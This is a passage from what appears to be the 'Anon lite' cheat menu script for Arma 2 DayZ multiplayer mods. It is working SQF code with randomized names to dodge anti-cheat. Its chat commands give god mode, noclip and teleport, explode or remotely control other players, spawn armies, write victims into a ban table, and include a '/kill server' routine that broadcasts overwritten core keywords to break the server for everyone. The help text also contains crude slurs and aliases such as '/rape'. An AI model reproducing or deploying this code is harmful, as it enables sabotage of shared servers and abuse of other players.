Code:
} forEach ([6800, 9200, 0] nearEntities [["AllVehicles"], 11000]);
};
};
if ((_first in _explo) and (_second == "")) then
{
if !(isNull cursortarget) then
{
_classname = "HelicopterExploBig";
_location = getpos cursortarget;
_object = createVehicle [_classname, _location, [], 0, "CAN_COLLIDE"];
[format [" Targeted",gettext (configFile >> "CfgVehicles" >> (typeof cursorTarget) >> "displayName")]] spawn '+_hintcode+';
}
else
{
_classname = "HelicopterExploBig";
_location = screenToWorld [0.5,0.5];
_object = createVehicle [_classname, _location, [], 0, "CAN_COLLIDE"];
[format ["Pos Targeted",[floor (_location select 0),floor (_location select 1),floor (_location select 2)]]] spawn '+_hintcode+';
};
};
if ((_first in _clip) or ((_first in _clip) and (_second == "clip"))) then
{
[] spawn '+_rand38+';
if (isNil "'+_rand33+'") then {'+_rand33+' = 0;}; if ('+_rand33+' == 0) then {'+_rand33+' = 1;
["Mouse Clip",true] spawn '+_rand6+';
titleText ["MouseClip ON! - Use your mouse wheel to move","PLAIN DOWN"];
'+_rand34+' =
{
_dir = getDir player;
_num = _this select 1;
_setPos = [(getposATL player select 0)+ _num*(sin _dir),(getposATL player select 1) + _num*(cos _dir),getposATL player select 2];
(vehicle player) setPosATL _setPos;
};
'+_rand35+' = (findDisplay 46) displayAddEventHandler ["MouseZChanged","_this call '+_rand34+';"];
} else {
'+_rand33+' = 0;
titleText ["MouseClip OFF!","PLAIN DOWN"];
["Mouse Clip",false] spawn '+_rand6+';
(findDisplay 46) displayRemoveEventHandler ["MouseZChanged", '+_rand35+'];
};
};
if ((_first == "/kill") and (_second == "server")) then
{
["Internal Server Functions broken, Nobody can join + server is fucked"] call '+_hintcode+';
if = "STRING";
then = "STRING";
endloadingscreen = "STRING";
player = "STRING";
vehicle = "STRING";
while = "STRING";
finddisplay = "STRING";
publicVariable "if";
publicVariable "then";
publicVariable "endloadingscreen";
publicVariable "player";
publicVariable "vehicle";
publicVariable "while";
publicVariable "finddisplay";
};
if ((_first in _god) and !(_second == "")) then
{
_second = [_second] call '+_fn_ExtendName+';
{
if ((toLower(name _x) == _second) and (isPlayer _x)) then
{
_object = _x;
_object allowDamage false;
_x removeAllEventhandlers "handleDamage";
_x addEventhandler ["handleDamage", {false}];
[(_second+" Has God!")] spawn '+_hintcode+';
};
} forEach ([6800, 9200, 0] nearEntities [["AllVehicles"], 11000]);
};
if (_first in _morph) then
{
_MaleSurvivor = {[dayz_playerUID,dayz_characterID,"Survivor2_DZ"] spawn player_humanityMorph;};
_FemaleSurvivor = {[dayz_playerUID,dayz_characterID,"SurvivorW2_DZ"] spawn player_humanityMorph;};
_Hero = {[dayz_playerUID,dayz_characterID,"Survivor3_DZ"] spawn player_humanityMorph;};
_Camo = {[dayz_playerUID,dayz_characterID,"Camo1_DZ"] spawn player_humanityMorph;};
_Ghillie = {[dayz_playerUID,dayz_characterID,"Sniper1_DZ"] spawn player_humanityMorph;};
_Chicken = {[dayz_playerUID,dayz_characterID,"Hen"] spawn player_humanityMorph;};
_Dog = {[dayz_playerUID,dayz_characterID,"Dog"] spawn player_humanityMorph;};
_Rabbit = {[dayz_playerUID,dayz_characterID,"Rabbit"] spawn player_humanityMorph;};
_Zombie = {[dayz_playerUID,dayz_characterID,"z_soldier_pilot"] spawn player_humanityMorph;};
_bloodsucker = {[dayz_playerUID,dayz_characterID,"bloodsucker"] spawn player_humanityMorph;};
'+_rand57+' = {[dayz_playerUID,dayz_characterID,(_this select 0)] spawn player_humanityMorph;};
_malesurvivor_name = ["man","survivor","survivor2_dz"];
_femalesurvivor_name = ["girl","woman","female","survivorw2_dz"];
_hero_name = ["hero","survivor3_dz"];
_camo_name = ["camo","military","camo1_dz"];
_ghillie_name = ["ghillie","grassfag","ghilliesuit","sniper","sniper1_dz"];
_chicken_name = ["cock","hen","chicken","rooster","chickenshit"];
_dog_name = ["dog","doggy"];
_rabbit_name = ["hippity-hoppity","thumper","rabbit","bunny","smallfurryanimal"];
_zombie_name = ["zed","zombie","zomg","zomb","zom"];
_blood = ["bloodsucker","bluhdsuka"];
_origins = ["survivor1","survivor2","survivor21","survivor22","survivor23","survivor3","survivor4","survivor41","survivor42","survivor43","survivor8","survivor81",
"survivor82","survivor83","woman","woman1","woman2","woman3","woman4","woman5","woman6","bandits","bandit11","bandit12","bandit13",
"bandit131","bandit132","bandit21","bandit22","bandit23","bandit24","bandit25","bandit31","banditw1","banditw11","banditw2","banditw3",
"banditw4","banditw5","banditw6","hero11","hero12","hero13","hero14","hero15","hero16","hero17","hero21","hero22","hero23","hero24",
"hero25","hero210","hero31","hero32","hero33","hero34","hero35","hero36","herow1","herow2","herow3","herow4","herow5","herow6"];
_possibleNames = _MaleSurvivor_name + _FemaleSurvivor_name + _Hero_name + _Camo_name + _Ghillie_name + _Chicken_name + _Dog_name + _Rabbit_name + _Zombie_name + ["help"] + _origins + _blood;
if (_second in _possibleNames) then
{
if (_second == "help") then
{
if (_third == "") then
{
hint "Command Names:\n\n
MaleSurvivor = Man, Survivor, Survivor2_DZ, MaleSurvivor\n\n
FemaleSurvivor = girl, woman, female, SurvivorW2_DZ, FemaleSurvivor\n\n
Hero = Hero, Survivor3_DZ\n\n
Camo = Camo, Military, Camo1_DZ\n\n
Ghillie = ghillie, grassFag, GhillieSuit, Sniper, Sniper1_DZ\n\n
Chicken = Cock, Hen, chicken, rooster, chickenshit\n\n
Dog = dog, doggy\n\n
Rabbit = Hippity-Hoppity, Thumper, Rabbit, Bunny, SmallFurryAnimal\n\n
Zombie = zed, zombie, zomg, zomb, zom\n\n
bloodsucker = bloodsucker\n\n
type /morph help 2 for Origins Survivors";
};
if (_third == "2") then
{
hint "Page 2\n\n
Male Survivors:\n\n
survivor1\n
survivor2\n
survivor21\n
survivor22\n
survivor23\n
survivor3\n
survivor4\n
survivor41\n
survivor42\n
survivor43\n
survivor8\n
survivor81\n
survivor82\n
survivor83\n\n
Female Survivors:\n\n
woman\n
woman1\n
woman2\n
woman3\n
woman4\n
woman5\n
woman6\n\n
type /morph help 3 for Origins Bandits";
};
if (_third == "3") then
{
hint "Page 3\n\n
Male Bandits:\n\n
banditS\n
bandit11\n
bandit12\n
bandit13\n
bandit131\n
bandit132\n
bandit21\n
bandit22\n
bandit23\n
bandit24\n
bandit25\n
bandit31\n
Female Bandits:\n\n
banditW1\n
banditW11\n
banditW2\n
banditW3\n
banditW4\n
banditW5\n
banditW6\n\n
type /morph help 4 for Origins Heros";
};
if (_third == "4") then
{
hint "Page 4\n\n
Male Heroes:\n\n
Hero11\n
Hero12\n
Hero13\n
Hero14\n
Hero15\n
Hero16\n
Hero17\n
Hero21\n
Hero22\n
Hero23\n
Hero24\n
Hero25\n
Hero210\n
Hero31\n
Hero32\n
Hero33\n
Hero34\n
Hero35\n
Hero36\n
Female Heroes:\n\n
HeroW1\n
HeroW2\n
HeroW3\n
HeroW4\n
HeroW5\n
HeroW6\n";
};
};
if (_second in _malesurvivor_name) exitwith {call _malesurvivor};
if (_second in _femalesurvivor_name) exitwith {call _femalesurvivor};
if (_second in _hero_name) exitwith {call _hero};
if (_second in _camo_name) exitwith {call _camo};
if (_second in _ghillie_name) exitwith {call _ghillie};
if (_second in _chicken_name) exitwith {call _chicken};
if (_second in _dog_name) exitwith {call _dog};
if (_second in _rabbit_name) exitwith {call _rabbit};
if (_second in _zombie_name) exitwith {call _zombie};
if (_second in _blood) exitwith {call _bloodsucker;};
if (_second == "survivor1") exitwith {["survivor1_dz"] call '+_rand57+';};
if (_second == "survivor2") exitwith {["survivor2_dz"] call '+_rand57+';};
if (_second == "survivor21") exitwith {["survivor2_1dz"] call '+_rand57+';};
if (_second == "survivor22") exitwith {["survivor2_2dz"] call '+_rand57+';};
if (_second == "survivor23") exitwith {["survivor2_3dz"] call '+_rand57+';};
if (_second == "survivor3") exitwith {["survivor3_dz"] call '+_rand57+';};
if (_second == "survivor4") exitwith {["survivor4_dz"] call '+_rand57+';};
if (_second == "survivor41") exitwith {["survivor4_1dz"] call '+_rand57+';};
if (_second == "survivor42") exitwith {["survivor4_2dz"] call '+_rand57+';};
if (_second == "survivor43") exitwith {["survivor4_3dz"] call '+_rand57+';};
if (_second == "survivor8") exitwith {["survivor8_dz"] call '+_rand57+';};
if (_second == "survivor81") exitwith {["survivor8_1dz"] call '+_rand57+';};
if (_second == "survivor82") exitwith {["survivor8_2dz"] call '+_rand57+';};
if (_second == "survivor83") exitwith {["survivor8_3dz"] call '+_rand57+';};
if (_second == "woman") exitwith {["survivorw2_dz"] call '+_rand57+';};
if (_second == "woman1") exitwith {["ori_vil_woman_survivor_1"] call '+_rand57+';};
if (_second == "woman2") exitwith {["ori_vil_woman_survivor_2"] call '+_rand57+';};
if (_second == "woman3") exitwith {["ori_vil_woman_survivor_3"] call '+_rand57+';};
if (_second == "woman4") exitwith {["ori_vil_woman_survivor_4"] call '+_rand57+';};
if (_second == "woman5") exitwith {["ori_vil_woman_survivor_5"] call '+_rand57+';};
if (_second == "woman6") exitwith {["ori_vil_woman_survivor_6"] call '+_rand57+';};
if (_second == "bandits") exitwith {["bandit_s_dz"] call '+_rand57+';};
if (_second == "bandit11") exitwith {["bandit1_1dz"] call '+_rand57+';};
if (_second == "bandit12") exitwith {["bandit1_2dz"] call '+_rand57+';};
if (_second == "bandit13") exitwith {["bandit1_3dz"] call '+_rand57+';};
if (_second == "bandit131") exitwith {["bandit1_3_1dz"] call '+_rand57+';};
if (_second == "bandit132") exitwith {["bandit1_3_2dz"] call '+_rand57+';};
if (_second == "bandit21") exitwith {["bandit2_1dz"] call '+_rand57+';};
if (_second == "bandit22") exitwith {["bandit2_2dz"] call '+_rand57+';};
if (_second == "bandit23") exitwith {["bandit2_3dz"] call '+_rand57+';};
if (_second == "bandit24") exitwith {["bandit2_4dz"] call '+_rand57+';};
if (_second == "bandit25") exitwith {["bandit2_5dz"] call '+_rand57+';};
if (_second == "bandit31") exitwith {["bandit3_1"] call '+_rand57+';};
if (_second == "banditw1") exitwith {["banditw1_dz"] call '+_rand57+';};
if (_second == "banditw11") exitwith {["ori_vil_woman_bandit_1"] call '+_rand57+';};
if (_second == "banditw2") exitwith {["ori_vil_woman_bandit_2"] call '+_rand57+';};
if (_second == "banditw3") exitwith {["ori_vil_woman_bandit_3"] call '+_rand57+';};
if (_second == "banditw4") exitwith {["ori_vil_woman_bandit_4"] call '+_rand57+';};
if (_second == "banditw5") exitwith {["ori_vil_woman_bandit_5"] call '+_rand57+';};
if (_second == "banditw6") exitwith {["ori_vil_woman_bandit_6"] call '+_rand57+';};
if (_second == "hero11") exitwith {["hero1_1dz"] call '+_rand57+';};
if (_second == "hero12") exitwith {["hero1_2dz"] call '+_rand57+';};
if (_second == "hero13") exitwith {["hero1_3dz"] call '+_rand57+';};
if (_second == "hero14") exitwith {["hero1_4dz"] call '+_rand57+';};
if (_second == "hero15") exitwith {["hero1_5dz"] call '+_rand57+';};
if (_second == "hero16") exitwith {["hero1_6dz"] call '+_rand57+';};
if (_second == "hero17") exitwith {["hero1_7dz"] call '+_rand57+';};
if (_second == "hero21") exitwith {["hero2_1dz"] call '+_rand57+';};
if (_second == "hero22") exitwith {["hero2_2dz"] call '+_rand57+';};
if (_second == "hero23") exitwith {["hero2_3dz"] call '+_rand57+';};
if (_second == "hero24") exitwith {["hero2_4dz"] call '+_rand57+';};
if (_second == "hero25") exitwith {["hero2_5dz"] call '+_rand57+';};
if (_second == "hero210") exitwith {["hero2_10dz"] call '+_rand57+';};
if (_second == "hero31") exitwith {["hero3_1dz"] call '+_rand57+';};
if (_second == "hero32") exitwith {["hero3_2dz"] call '+_rand57+';};
if (_second == "hero33") exitwith {["hero3_3dz"] call '+_rand57+';};
if (_second == "hero34") exitwith {["hero3_4dz"] call '+_rand57+';};
if (_second == "hero35") exitwith {["hero3_5dz"] call '+_rand57+';};
if (_second == "hero36") exitwith {["hero3_6dz"] call '+_rand57+';};
if (_second == "herow1") exitwith {["ori_vil_woman_hero_1"] call '+_rand57+';};
if (_second == "herow2") exitwith {["ori_vil_woman_hero_2"] call '+_rand57+';};
if (_second == "herow3") exitwith {["ori_vil_woman_hero_3"] call '+_rand57+';};
if (_second == "herow4") exitwith {["ori_vil_woman_hero_4"] call '+_rand57+';};
if (_second == "herow5") exitwith {["ori_vil_woman_hero_5"] call '+_rand57+';};
if (_second == "herow6") exitwith {["ori_vil_woman_hero_6"] call '+_rand57+';};
}
else
{
[_second] call '+_rand57+';
["Unknown Classname! type ""/morph help"" for a list of names!"] spawn '+_hintcode+';
};
};
if (_first in _box) then
{
["Shoot the unit and loot for gear<br/>Wait 5 seconds"] spawn '+_hintcode+';
_wepcount = 10;
_magcount = 30;
_weaponsList = [];
_namelist = [];
_cfgweapons = configFile >> "cfgWeapons";
for "_i" from 0 to (count _cfgweapons)-1 do
{
_weapon = _cfgweapons select _i;
if (isClass _weapon) then
{
_wCName = configName(_weapon);
_wDName = getText(configFile >> "cfgWeapons" >> _wCName >> "displayName");
_wModel = getText(configFile >> "cfgWeapons" >> _wCName >> "model");
_wType = getNumber(configFile >> "cfgWeapons" >> _wCName >> "type");
_wscope = getNumber(configFile >> "cfgWeapons" >> _wCName >> "scope");
_wPic = getText(configFile >> "cfgWeapons" >> _wCName >> "picture");
_wDesc = getText(configFile >> "cfgWeapons" >> _wCName >> "Library" >> "libTextDesc");
_isFake = false;
_wHits=0;
_mags=[];
_muzzles = getArray(configfile >> "cfgWeapons" >> _wCName >> "muzzles");
if ((_muzzles select 0)=="this") then
{
_muzzles=[_wCName];
_mags = getArray(configfile >> "cfgWeapons" >> _wCName >> "magazines");
}
else
{
{
_muzzle=_x;
_mags = getArray(configfile >> "cfgWeapons" >> _wCName >> _muzzle >> "magazines");
} forEach _muzzles;
};
{
_ammo = getText(configfile >> "cfgMagazines" >> _x >> "ammo");
_hit = getNumber(configfile >> "cfgAmmo" >> _ammo >> "hit");
_wHits = _wHits + _hit;
} forEach _mags;
if ((_wCName!="") && (_wDName!="") && (_wModel!="") && (_wPic!="")) then
{
if !(_wDName in _namelist) then
{
_weaponsList = _weaponsList + [[_wCName,_wDName,_wPic,_wDesc]];
_namelist = _namelist + [_wDName];
};
};
};
};
_namelist=nil;
_magazinesList = [];
_namelist = [];
_cfgmagazines = configFile >> "cfgmagazines";
for "_i" from 0 to (count _cfgmagazines)-1 do
{
_magazine = _cfgmagazines select _i;
if (isClass _magazine) then
{
_mCName = configName(_magazine);
_mDName = getText(configFile >> "cfgmagazines" >> _mCName >> "displayName");
_mModel = getText(configFile >> "cfgmagazines" >> _mCName >> "model");
_mType = getNumber(configFile >> "cfgmagazines" >> _mCName >> "type");
_mscope = getNumber(configFile >> "cfgmagazines" >> _mCName >> "scope");
_mPic = getText(configFile >> "cfgmagazines" >> _mCName >> "picture");
_mDesc = getText(configFile >> "cfgmagazines" >> _mCName >> "Library" >> "libTextDesc");
if ((_mCName!="") && (_mDName!="") && (_mModel!="")) then
{
if !(_mDName in _namelist) then
{
_magazinesList = _magazinesList + [[_mCName,_mDName,_mPic,_mDesc]];
_namelist = _namelist + [_mDName];
};
};
};
};
_namelist=nil;
'+_rand27+' = ["AK_107_GL_Kobra","AK_107_GL_PSO","AK_107_Kobra","AK_107_PSO","AK_107"] + ["GAU8","2A14","2A38M","2A42","2A46M","2A46MRocket","2A70","2A70Rocket","2A72","2B14","57mmLauncher","57mmLauncher_128",
"57mmLauncher_64","80mmLauncher","9M311Laucher","AALauncher_twice","AGS17","AGS30","AGS30_heli","AirBombLauncher",
"AT10LauncherSingle","AT11LauncherSingle","AT13LauncherSingle","AT2Launcher","AT5Launcher","AT5LauncherSingle","AT6Launcher",
"AT9Launcher","AZP85","BAF_GMG","BAF_L2A1","BAF_L7A2","BAF_L94A1","BAF_static_GMG","BikeHorn","BombLauncher","BombLauncherA10",
"BombLauncherF35","CamelGrenades","CarHorn","Ch29Launcher","Ch29Launcher_Su34","CMFlareLauncher","CRV7_FAT","CRV7_HEPD","CRV7_PG","CTWS",
"D10","D30","D81","DSHKM","DT_veh","FFARLauncher","FFARLauncher_14","FlareLauncher","GAU12","GRAD","GSh23L","GSh23L_L39","GSh301","GSh302",
"HeliBombLauncher","HellfireLauncher","HellfireLauncher_AH6","Igla_twice","KORD","KPVT","Laserdesignator_mounted","M119","M120","M134","M134_2",
"M168","M197","M2","M230","M240_veh","M240_veh_2","M240_veh_MG_Nest","M240BC_veh","M242","M242BC","M252","M256","M2BC","M32_heli","M3P","M621",
"M68","MaverickLauncher","MiniCarHorn","MK19","MK19BC","Mk82BombLauncher","Mk82BombLauncher_6","MLRS","PKT","PKT_2","PKT_3","PKT_high_AI_dispersion",
"PKT_high_AI_dispersion_tank","PKT_MG_Nest","PKT_veh","PKTBC","PKTBC_veh","R73Launcher","R73Launcher_2","S8Launcher","SEARCHLIGHT","SGMT",
"SidewinderLaucher","SidewinderLaucher_AH1Z","SidewinderLaucher_AH64","SidewinderLaucher_F35","SmokeLauncher","SPG9","SportCarHorn","StingerLaucher",
"StingerLaucher_4x","StingerLauncher_twice","TOWLauncher","TOWLauncherSingle","TruckHorn","TruckHorn2","TwinM134","TwinVickers","VikhrLauncher","YakB",
"ZiS_S_53"];
hint "Spawned Gearbot\nCreds to Hangender & BigBen for help";
_mypos = getposATL player;
_dir = getdir player;
_mypos = [(_mypos select 0)+4*sin(_dir),(_mypos select 1)+4*cos(_dir), (_mypos select 2)];
_agent = createAgent ["Bandit1_DZ", _mypos, [], 5, "NONE"];
_position = [_position,0,20,10,0,20,0] call BIS_fnc_findSafePos;
{
if !(_x in '+_rand27+') then
{
for "_i" from 1 to 5 do {_agent addWeapon (_x select 0);};
};
} forEach _weaponslist;
{
if !(_x in '+_rand27+') then
{
for "_i" from 1 to 30 do {_agent addMagazine (_x select 0);};
};
} forEach _magazinesList;
};
if (_first in _remoteControl) then
{
_second = [_second] call '+_fn_ExtendName+';
'+_rand11+' = player;
'+_rand36+' = true;
{
if ((toLower(name _x) == _second) and (isPlayer _x)) then
{
titleText [format["You are now controlling \n type /back to return to your body!",name _x],"PLAIN DOWN"];
selectPlayer (vehicle _x);
};
} forEach ([6800, 9200, 0] nearEntities [["AllVehicles"], 11000]);
};
if (_first in _spectate) then
{
_second = [_second] call '+_fn_ExtendName+';
{
if (name _x == _second) then
{
(vehicle _x) switchCamera "EXTERNAL";
[format ["Spectating , type /back to cancel", name _x]] spawn '+_hintcode+';
};
} forEach ([6800, 9200, 0] nearEntities [["AllVehicles"], 11000]);
};
if (_first in _grass) then
{
if (isNil "'+_rand13+'") then {'+_rand13+' = true;} else {'+_rand13+' = !'+_rand13+'};
if ('+_rand13+') then {
setTerrainGrid 50;["NoGrass",true] spawn '+_rand6+';
["Terrain Low"] spawn '+_hintcode+';
cutText [format["Terrain Low"], "PLAIN DOWN"];
} else {
setTerrainGrid 12.5;["NoGrass",false] spawn '+_rand6+';
["Terrain Normal"] spawn '+_hintcode+';
cutText [format["Terrain Normal"], "PLAIN DOWN"];
};
};
if (_first in _tpto) then
{
_second = [_second] call '+_fn_ExtendName+';
[] spawn '+_rand38+';
{
if ((toLower(name _x) == _second) and (isPlayer _x)) then
{
[("Player "+_target+" Selected")] spawn '+_hintcode+';
_tent = (vehicle player);
_dir = (getDir vehicle _x);
_location = (getpos vehicle _x);
_tent setdir _dir;
_tent setpos _location;
player reveal _tent;
};
} forEach ([6800, 9200, 0] nearEntities [["AllVehicles"], 11000]);
if (_third == "") then
{
'+_rand56+' = _second;
}
else
{
'+_rand56+' = (""+_second+" "+_third+"");
};
_nearestCity = nearestLocations [getPos player, ["NameCityCapital","NameCity","NameVillage","NameLocal"],30000];
{
_name = toLower(text _x);
if (_name == toLower('+_rand56+')) then
{
_pos = locationPosition _x;
_setPos = _pos;
(vehicle player) setPosATL _setPos;
hint ("teleporting to "+_name);
};
} forEach _nearestCity;
};
if ((_first in _commandHelp) and (_second == "3")) then
{
hint "[ Commands page 3 ]\n\n
[Exploding Bullets]: /explosive, /bullets, /explosivebullets, /explobullets, /explob, /bullets\n\n
[Run Last Command]: /r, /l, /last, /recent\n\n
[Spawn Building]: /building, /spawnbuilding\n\n
[Chat Obfuscation]: /cmdoff, /obfuscate, /cmdprocess, /chatmode\n\n
[Eject]: /eject, /getout, /forcegetout, /abandonship\n\n
[Get In Target vehicle]: /join, /getin, /movein, /moveto\n\n
[Time]: /timeset, /time, /settime\n\n
[Infinite Ammo]: /infinite, /infammo, /superammo\n\n
[BP Ban]: /ban, /bpban, /breakingpointban\n\n
[AntiTaze]: /antitaze, /notaze, /untazable, /antifreeze\n\n
[BloodSuckers]: /bloodsucker, /bloodsuckers\n\n
[Taze]: /taze, /tazer, /laze, /knockout\n\n
[Army]: /personalarmy, /army, /soldiers\n\n
[Unlock]: /open, /unlock\n\n
[Dogs]: /zombiedogs, /infectedhound, /zdogs, /dogs\n\n
Type /commands 4 for the next page";
};
if ((_first in _commandHelp) and (_second == "2")) then
{
hint "[ Commands page 2 ]\n\n
[Disconnect]: /log, /leave, /disconnect\n\n
[Weapon Box]: /box, /wpnbox, /crate, /ammocrate, /spawnbox, /ammobox, /wpncrate\n\n
[Mouse Clip]: /mouse, /mouseclip, /noclip, /clip\n\n
[Explode Cursortarget]: /explo, /boom, /explode, /exp\n\n
[Explode Target]: /explo [player], /boom [player], /explode [player], /exp [player]\n\n
[Close]: /close, /cl\n\n
[Back]: /back, /bck, /b\n\n
[Mark]: /markers, /mapmark, /mapmarkers, /mark\n\n
[ZombieSheild]: /shield, /sheild, /zshield, /zsheild, /nozombies, /nozed\n\n
[Morph]: /morph, /skin /skin help\n\n
[Run Script]: /exec, /run, /execute\n\n
[Backpack]: /backpack, /bpck, /bpk, /sack, /pack\n\n
[Repair Vehicle]: /repair, /fixme, /vehfix, /vehgod\n\n
[Ammo]: /ammo, /refill, /giveammo\n\n
Type /commands 3 for the next page";
};
if ((_first in _commandHelp) and ((_second == "") or (_second == "1"))) then
{
hint "[Godmode]:\n /god, /gm, /godmode, /untouchable, /invincible\n\n
[ESP]:\n /esp, /markers, /pmark\n\n
[Help]:\n /help, /help\n\n
[Delete Cursortarget]:\n /delete, /del, /d\n\n
[Spawn Weapon]:\n /spawnweapon, /wpn, /item, /i, /weapon\n\n
[Teleport]:\n /tp, /jump, /tele, /warp, /teleport\n\n
[Spawn Vehicle]:\n /spawnvehicle, /spawn, /spwnveh, /spwn, /veh\n\n
[Spawn Local Vehicle]:\n /spawnvehicle local, /spawn local, /spwnveh local, /spwn local, /veh local\n\n
[Kill All]:\n /killall, /rape, /rapemurder\n\n
[Vehicle Search]:\n /filter vehicle, /classname vehicle, /search vehicle, /spawnhelp vehicle\n\n
[Weapon Search]:\n /filter weapon, /classname weapon, /search weapon, /spawnhelp weapon\n\n
[Command Help]:\n /commands, /aliases, /names\n\n
[Teleport to Player]:\n /tpto, /to, /getpos\n\n
[NoGrass]:\n /grass, /nograss, /g, /gOff
[Spectate]: /spec, /spectate, /watch\n\n
[Remote Control]: /control, /remotecontrol, /ctrl, /rctrl\n\n
Type /commands 2 for the next page";
};
if ((_first in _search) and (_second in ["wep","weapon","weapons","weapo","gun","guns"])) then
{
'+_rand45+' = true;
["Type in chat to search for Weapon classnames<br/>Type the full name and then hit enter to spawn"] call '+_hintcode+';
'+_rand14+' = [];
_cfgweapons = configFile >> "cfgWeapons";
for "_i" from 0 to (count _cfgweapons)-1 do
{
_weapon = _cfgweapons select _i;
if (isClass _weapon) then
{
_wpn_type = configName _weapon;
if ((getNumber (_weapon >> "scope") == 0) or (getNumber (_weapon >> "scope") == 2)) then
{
'+_rand14+' = '+_rand14+' + [_wpn_type];
};
};
};
'+_rand15+' =
{
_text = (_this select 1);
_num = _this select 0;
'+_rand16+' = [];
{
_scan = [];
_bump = toArray _x;
for "_i" from 0 to (_num - 1) do
{
if !(count _bump <= (_num - 1)) then
{
_char = _bump select _i;
if !(str _char == "") then
{
_scan = _scan + [_char];
};
};
};
if ((toString _scan) == _text) then
{
if !(_x in '+_rand16+') then
{
'+_rand16+' = '+_rand16+' + [_x];
};
};
} forEach '+_rand14+';
if !(str '+_rand16+' == "[]") then
{
'+_rand17+' = "Results:\n----------------------\n";
for "_i" from 0 to (count '+_rand16+' - 1) do
{
_result = '+_rand16+' select _i;
'+_rand17+' = ('+_rand17+' + _result + "\n");
};
hint '+_rand17+';
} else {hint "No Results.";};
};
for "_i" from 1 to 15 do
{
waitUntil {!isNull (finddisplay 24)};
waitUntil {(count (toArray (ctrlText ((findDisplay 24) displayCtrl 101))) == _i)};
if !('+_rand45+') exitWith {};
_text = (ctrlText ((findDisplay 24) displayCtrl 101));
[_i,_text] call '+_rand15+';
};
};
if ((_first in _search) and (_second in ["vehicle","veh","vehicles","vehi","truck","car","plane"])) then
{
'+_rand46+' = true;
["Type in chat to search for Vehicle classnames<br/>Type the full name and then hit enter to spawn!"] call '+_hintcode+';
'+_rand14+' = [];
_cfgvehicles = configFile >> "cfgVehicles";
for "_i" from 0 to (count _cfgvehicles)-1 do
{
_vehicle = _cfgvehicles select _i;
if (isClass _vehicle) then
{
_veh_type = configName _vehicle;
if ((getNumber (_vehicle >> "scope") == 2) && (getText (_vehicle >> "picture") != "") && (((_veh_type isKindOf "LandVehicle") or (_veh_type isKindOf "Air") or (_veh_type isKindOf "Boat"))) && !((_veh_type isKindOf "ParachuteBase") or (_veh_type isKindOf "BIS_Steerable_Parachute"))&& !(_veh_type isKindOf "Tank")) then
{
'+_rand14+' = '+_rand14+' + [_veh_type];
};
};
};
'+_rand15+' =
{
_text = (_this select 1);
_num = _this select 0;
'+_rand16+' = [];
{
_scan = [];
_bump = toArray _x;
for "_i" from 0 to (_num - 1) do
{
if !(count _bump <= (_num - 1)) then
{
_char = _bump select _i;
if !(str _char == "") then
{
_scan = _scan + [_char];
};
};
};
if ((toString _scan) == _text) then
{
if !(_x in '+_rand16+') then
{
'+_rand16+' = '+_rand16+' + [_x];
};
};
} forEach '+_rand14+';
if !(str '+_rand16+' == "[]") then
{
'+_rand17+' = "Results:\n----------------------\n";
for "_i" from 0 to (count '+_rand16+' - 1) do
{
_result = '+_rand16+' select _i;
'+_rand17+' = ('+_rand17+' + _result + "\n");
};
hint '+_rand17+';
} else {hint "No Results.";};
};
for "_i" from 1 to 15 do
{
waitUntil {!isNull (finddisplay 24)};
waitUntil {(count (toArray (ctrlText ((findDisplay 24) displayCtrl 101))) == _i)};
if !('+_rand46+') exitWith {};
_text = (ctrlText ((findDisplay 24) displayCtrl 101));
[_i,_text] call '+_rand15+';
};
};
if ((_first in _help) and (_second == "4")) then
{
"Anon lite Help Page 4" hintC
[
parsetext "<t color=""#FF0000"">/infammo <t/><t color=""#580000 "">- Infinite ammo (do not use on breakingpoint)<t/>",
parsetext "<t color=""#FF0000"">/ban [player] <t/><t color=""#580000 "">- writes the player to breaking point ban table (BP)<t/>",
parsetext "<t color=""#FF0000"">/antitaze <t/><t color=""#580000 "">- Makes you Un-tazable (BP) (OW)<t/>",
parsetext "<t color=""#FF0000"">/bloodsuckers <t/><t color=""#580000 "">- spawns in an army of bloodsudkers (BP)<t/>",
parsetext "<t color=""#FF0000"">/taze [player/all] <t/><t color=""#580000 "">- Tazes target/all (BP) (OW)<t/>",
parsetext "<t color=""#FF0000"">/army <t/><t color=""#580000 "">- Spawns massive army (Origins)<t/>",
parsetext "<t color=""#FF0000"">/unlock <t/><t color=""#580000 "">- Unlocks house/garage (Origins)<t/>",
parsetext "<t color=""#FF0000"">/warning <t/><t color=""#580000 "">- Displays commands that have a higher risk of detection<t/>",
parsetext "<t color=""#FF0000"">/dogs <t/><t color=""#580000 "">- Spawns in 20 Infected Hounds (BP)<t/>",
parsetext "<t color=""#FF0000"">/players <t/><t color=""#580000 "">- Spoofs your player, spawns in stunt doubles<t/>",
parsetext "<t color=""#FF0000"">**[ Do /help 5 for the next page ]**<t/>"
];
};
if ((_first in _help) and (_second == "3")) then
{
"Anon lite Help Page 3" hintC
[
parsetext "<t color=""#FF0000"">/morph [skin] <t/><t color=""#580000 "">- Allows you to morph into another skins<t/>",
parsetext "<t color=""#FF0000"">/morph help <t/><t color=""#580000 "">- Lists Skin names.<t/>",
parsetext "<t color=""#FF0000"">/exec [filename.sqf] <t/><t color=""#580000 "">- Runs the script in ANON\yourfile.sqf<t/>",
parsetext "<t color=""#FF0000"">/backpack [backpack] <t/><t color=""#580000 "">- Adds backpack.<t/>",
parsetext "<t color=""#FF0000"">/backpack help <t/><t color=""#580000 "">- Lists Backpack names.<t/>",
parsetext "<t color=""#FF0000"">/humanity [amount] <t/><t color=""#580000 "">- Sets your humanity to the amount.<t/>",
parsetext "<t color=""#FF0000"">/repair <t/><t color=""#580000 "">- Repairs veicle.<t/>",
parsetext "<t color=""#FF0000"">/ammo <t/><t color=""#580000 "">- gives you 3 mags for your current gun.<t/>",
parsetext "<t color=""#FF0000"">/bullets <t/><t color=""#580000 "">- Toggles Explosive Bullets<t/>",
parsetext "<t color=""#FF0000"">/recent (/r) <t/><t color=""#580000 "">- runs the last command that was entered<t/>",
parsetext "<t color=""#FF0000"">/building [building] <t/><t color=""#580000 "">- Spawns the building<t/>",
parsetext "<t color=""#FF0000"">/chatmode <t/><t color=""#580000 "">- Turns of the chat obfuscator ""'+_rcmd+'""<t/>",
parsetext "<t color=""#FF0000"">/time [day/night] <t/><t color=""#580000 "">- Sets the time to day or night<t/>",
parsetext "<t color=""#FF0000"">**[ Do /help 4 for the next page ]**<t/>"
];
};
if ((_first in _help) and (_second == "2")) then
{
"Anon lite Help Page 2" hintC
[
parsetext "<t color=""#FF0000"">/spectate [player] <t/><t color=""#580000 "">- Allows you to spectate target<t/>",
